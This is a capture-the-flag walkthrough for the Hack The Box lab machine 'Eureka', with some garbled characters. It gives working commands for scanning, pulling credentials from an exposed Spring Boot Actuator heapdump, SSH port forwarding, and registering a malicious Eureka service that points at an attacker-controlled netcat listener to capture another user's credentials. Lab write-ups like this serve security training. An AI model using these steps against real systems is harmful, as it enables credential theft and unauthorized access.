Eureka is a non-seasonal Linux-based machine on Hack The Box, categorized as a Hard challenge. Upon completing this box, you earn 40 points. The machine teaches you how exposed Spring Boot Actuator endpoints can leak sensitive internal assets. By analyzing these endpoints, you eventually discover a heap dump that reveals credentials, allowing initial access. From there, you exploit Eureka by performing a malicious service registration to escalate privileges and gain further control of the system.
Letâs start with setting the target IP as an environment variable for convenience:
export IP='10.10.11.66'
Run a full TCP scan with service and version detection:
nmap -v -sCTV -p- -T4 -Pn -oN $IP.txt $IP
Nmap Results:
PORT   STATE SERVICE VERSION 22/tcp  open ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 80/tcp  open http  nginx 1.18.0 (Ubuntu) 8761/tcp open http  Apache Tomcat (language: en)
echo "$IP furni.htb" | sudo tee -a /etc/hosts
Now, let's use dirsearch to brute-force directories on the web server:
dirsearch -u http://furni.htb/ -e php,html,txt -t 50
Discovered Endpoints:
/actuator/env /actuator/features /actuator/health /actuator/info /actuator/metrics /actuator/configprops /actuator/beans /actuator/threaddump /actuator/loggers /actuator/mappings /actuator/heapdump â đ¨ Interesting!
Downloaded the heapdump:
http://furni.htb/actuator/heapdump
Analyzed the file using strings:
strings heapdump | grep "password="
{password=0***********&, user=o*********}
Another one found using:
strings heapdump | grep PWD http://EurekaSrvr:****************@localhost:8761/eureka
Login via SSH:
ssh ********@10.10.11.66 Password: ************
We are now logged in as O*****.
Since port 8761 is interesting and hosted locally, we forward it to ourselves:
ssh -L 8761:localhost:8761 ******@10.10.11.66
Access the Eureka admin panel via browser:
http://localhost:8761
Start a netcat listener to receive a reverse shell or connection:
nc -lvnp 8081
Now register a malicious fake service using the stolen Eureka credentials:
curl -X POST http://USERNAME:[email protected]:8761/eureka/apps/USER-MANAGEMENT-SERVICE \ Â -H 'Content-Type: application/json' \ Â -d '{ Â "instance": { Â Â "instanceId": "USER-MANAGEMENT-SERVICE", Â Â "hostName": "YOURIP", Â Â "app": "USER-MANAGEMENT-SERVICE", Â Â "ipAddr": "YOURIP", Â Â "vipAddress": "USER-MANAGEMENT-SERVICE", Â Â "secureVipAddress": "USER-MANAGEMENT-SERVICE", Â Â "status": "UP", Â Â "port": { "$": 8081, "@enabled": "true" }, Â Â "dataCenterInfo": { Â Â Â "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo", Â Â Â "name": "MyOwn" Â Â } Â } }'
Replace USERNAME and PASSWORD .
Replace YOURIP with your tun0 IP.
After a short wait (~2 minutes), we receive credentials via netcat:
Username: mi**********Â Â Password: IL***********
Login as the new user:
ssh mi*******@10.10.11.66 Password: I**********
Now you're logged in as a more privileged user.
Grab the user flag:
cat ~/user.txt
đŻ Tools Used
Access is restricted by HackTheBox rules#
The solution to the problem can be published in the public domain after her retirement.
Look for a non-public solution to the problem in the telegram channel .